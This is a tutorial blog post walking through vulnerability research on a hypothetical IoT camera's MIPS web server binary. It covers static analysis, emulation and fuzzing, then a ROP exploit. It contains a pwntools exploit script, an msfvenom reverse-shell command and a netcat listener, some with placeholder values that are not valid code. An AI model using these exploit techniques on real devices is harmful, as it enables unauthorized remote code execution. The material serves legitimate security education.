9 min read

How to Find Vulnerabilities in IoT Binaries After Extraction

Table of Contents

Introduction

The Internet of Things (IoT) has flooded our world with connected devices, from smart cameras to industrial sensors. While convenient, this has created a massive, often-vulnerable attack surface. For hackers and security researchers, the firmware running on these devices is a treasure trove of potential bugs.

Once you’ve successfully extracted a firmware image (using tools like binwalk), the real work begins. You’re left with a collection of files, including the core binaries that run the device. This post is your guide to the next step: analyzing these binaries to find and exploit vulnerabilities.

Our Target: For this walkthrough, we’ll imagine we’re analyzing the firmware for a hypothetical “SecureHome SmartCam”. We’ve extracted a Linux-based binary named web_server, which handles the camera’s web interface. Our analysis reveals it’s a 32-bit MIPS executable. Our goal is to find a remote code execution (RCE) vulnerability.

Tools & Environment Setup

A solid analysis environment is non-negotiable. For binary analysis, a Linux-based OS (like Ubuntu, Debian, or Kali Linux) is your best friend.

Required Software:

  • Basic Recon Tools:
    • file: To identify file types and architectures.
    • strings: To extract human-readable text from the binary, often revealing hardcoded credentials, API paths, or debug messages.
  • Disassembler/Decompiler:
    • Ghidra: A free, powerful, and full-featured software reverse engineering (SRE) suite from the NSA. We’ll use this for our static analysis. (An alternative is the commercial powerhouse, IDA Pro).
  • Emulator:
    • QEMU (User-space): Essential for running binaries compiled for different architectures (like MIPS or ARM) on your x86 machine. This is the key to dynamic analysis without needing the physical device.
  • Debugger:
    • GDB (gdb-multiarch): The GNU Debugger, capable of debugging programs across different architectures. We’ll use it with QEMU to step through code and inspect memory.
  • Fuzzing Framework:
    • AFL++: A state-of-the-art fuzzer that automates the process of finding crashes by feeding a program mutated, unexpected inputs.
  • Exploitation Helper:
    • pwntools: A Python library that makes exploit development faster and easier.

To set up the basics on a Debian-based system:

sudo apt update
sudo apt install build-essential gdb-multiarch qemu-user-static python3-pip
pip3 install pwntools
# Download and install Ghidra from its official website.

Static Analysis: Reading the Blueprints

Static analysis involves examining the binary without running it. It’s like reading a building’s blueprints to find structural weaknesses before it’s even built.

Step 1: Initial Reconnaissance

First, let’s get the lay of the land.

# Identify the architecture
$ file web_server
web_server: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped

# Look for interesting strings
$ strings -n 8 web_server | grep -E "password|login|strcpy|sprintf"
admin_password
Checking login...
Login failed
handle_login_request
strcpy
sprintf

The output is promising. We see a MIPS binary that isn’t stripped, which means function names are preserved. The strings command reveals functions related to login and, more importantly, calls to known dangerous C functions like strcpy and sprintf—classic sources of buffer overflows.

Step 2: Deep Dive with Ghidra

Now, let’s load web_server into Ghidra. After the initial auto-analysis, we use the “Symbol Tree” to navigate to the handle_login_request function identified earlier.

Ghidra’s decompiler provides a C-like representation of the assembly, making it much easier to understand. In our hypothetical handle_login_request function, we find this code:

// Decompiled C-like code from Ghidra
void handle_login_request(char *http_request) {
  char username[64];
  char password_buffer[64];
  
  // ... code to parse username from http_request ...
  
  // VULNERABILITY HERE!
  strcpy(password_buffer, http_request); 
  
  // ... code to check credentials ...
}

This is a textbook buffer overflow. The strcpy function blindly copies the contents of http_request into password_buffer, which is only 64 bytes long. If we send a password longer than 64 bytes, we will overwrite adjacent data on the stack, including the saved return address. This is our ticket to controlling the program’s execution flow.

Dynamic Analysis & Fuzzing: Poking the Bear

Static analysis gave us a target. Dynamic analysis is where we confirm the bug by running the code and making it fail.

Step 1: Emulating and Debugging

We can’t just run a MIPS binary on our x86 machine. We need QEMU for that. We’ll run the web server and attach GDB to see the crash happen in real-time.

  1. Run the binary with QEMU in debug mode, listening on port 1234:

    qemu-mips-static -g 1234 ./web_server
  2. In another terminal, launch the multi-arch GDB and connect to QEMU:

    gdb-multiarch
    (gdb) target remote :1234
    (gdb) continue

Now the server is running under the debugger. We can send a malicious request to trigger the overflow. We’ll use a simple Python script to send a long string.

import socket

payload = b"A" * 200 # A long string of 'A's

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80)) # Assuming server runs on port 80
s.send(b"POST /login HTTP/1.1\r\nContent-Length: 200\r\n\r\n" + payload)
s.close()

Back in our GDB session, we see a crash!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

The program tried to execute code at address 0x41414141. 0x41 is the hex value for the character ‘A’. This confirms we successfully overwrote the return address on the stack and now control the Program Counter (PC)!

Step 2: Finding Vulnerabilities with Fuzzing

For more complex binaries, manually finding every flaw is impractical. Fuzzing with AFL++ automates this. You would provide AFL++ with a valid input sample (e.g., a legitimate login request) and let it run.

# Setup for fuzzing the web_server binary
mkdir in out
echo "user=admin&pass=1234" > in/sample.txt

# Run AFL++ in QEMU mode
afl-fuzz -i in -o out -Q ./web_server

AFL++ will intelligently mutate the input and run the program thousands of times per second. Any input that causes a crash is saved for you to analyze. It’s a powerful way to uncover bugs you might have missed.

Vulnerability & Exploitation Walkthrough

We’ve confirmed we can control the PC. Now, let’s turn this crash into a working remote code execution exploit. Our strategy is Return-Oriented Programming (ROP). Since the stack is likely non-executable (NX bit), we can’t just inject our own code. Instead, we’ll chain together existing pieces of code (called “gadgets”) from the binary to achieve our goal.

Step 1: Finding the Exact Offset

We need to know exactly how many bytes it takes to overwrite the return address. We use a unique pattern for this.

# Using pwntools to generate a unique pattern
from pwn import *

p = remote("127.0.0.1", 80)
payload = cyclic(200) # Generates "aaaabaaacaaadaaa..."
p.send(b"POST /login HTTP/1.1\r\nContent-Length: 200\r\n\r\n" + payload)
p.close()

After the crash, GDB shows the PC is 0x6161616a (jaaa). We use pwntools to find the offset:

>>> cyclic_find(0x6161616a)
76

The offset is 76 bytes. Our payload will be 76 bytes of junk, followed by the address we want to jump to.

Step 2: Finding a Gadget and Shellcode

Our goal is to run shellcode. A common technique is to find a gadget that jumps to a register we control, like jalr $t9 (in MIPS, $t9 is often used for function pointers). We also need to find a way to load the address of our shellcode into $t9. This can involve chaining multiple gadgets.

Let’s assume we used a tool like rop-tool and found a useful jalr $s0 gadget at 0x00401234. We also found another gadget that loads a value from the stack into the $s0 register.

Next, we need MIPS shellcode. We can generate a reverse shell payload with msfvenom:

msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=your.ip LPORT=4444 -f python

Step 3: Building the Exploit with pwntools

We put everything together. Our final payload will look like this:

[ 76 bytes of junk ] + [ Address of gadget to load $s0 ] + [ Address of gadget to jump to $s0 ] + [ Shellcode ]

A simplified pwntools exploit script might look like this:

from pwn import *

# Assuming we're emulating on localhost port 80
p = remote("127.0.0.1", 80)

# Addresses found during static analysis in Ghidra/Ropper
# These are placeholders for a real exploit
gadget_load_s0 = p32(0x00405678) 
gadget_jalr_s0 = p32(0x00401234)

# MIPS reverse shell shellcode from msfvenom
shellcode = b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21..."

# The address where our shellcode will be on the stack.
# This requires some debugging to determine accurately.
shellcode_addr = p32(0x7f..??) 

# Structure the ROP chain and payload
padding = b"A" * 76
rop_chain = gadget_load_s0 + shellcode_addr + gadget_jalr_s0

payload = padding + rop_chain + shellcode

# Send the exploit
print("Sending exploit...")
p.send(b"POST /login HTTP/1.1\r\n\r\n" + payload)
p.close()
print("Check your listener!")

Before running the script, we start a listener (nc -lvnp 4444). When we execute the exploit, the overflow occurs, our ROP chain executes, and we get a shell back from the emulated process!

Mitigation & Conclusion

How could the manufacturer prevent this?

  • Secure Coding: Replace dangerous functions like strcpy with their safer, size-limited counterparts (strncpy).
  • Compiler Fortifications: Compile the binary with all modern security features enabled, such as Stack Canaries (-fstack-protector-all), ASLR (Address Space Layout Randomization), and NX (Non-eXecutable stack).

Key Takeaways

Analyzing IoT binaries is a methodical hunt that combines static and dynamic techniques.

  1. Start Broad: Use simple tools like file and strings for initial reconnaissance.
  2. Go Deep with Static Analysis: Use a decompiler like Ghidra to understand the code’s logic and pinpoint promising functions.
  3. Confirm with Dynamic Analysis: Use emulation (QEMU) and a debugger (GDB) to prove a bug exists and understand its behavior.
  4. Automate Discovery: Use fuzzers like AFL++ to uncover bugs at scale.
  5. Exploit Systematically: Turn a crash into code execution by controlling the instruction pointer and leveraging ROP techniques.

The skills covered here are fundamental to IoT security, vulnerability research, and bug bounty hunting. By peeling back the layers of a firmware binary, you can uncover the critical flaws that manufacturers miss and help make the connected world a safer place.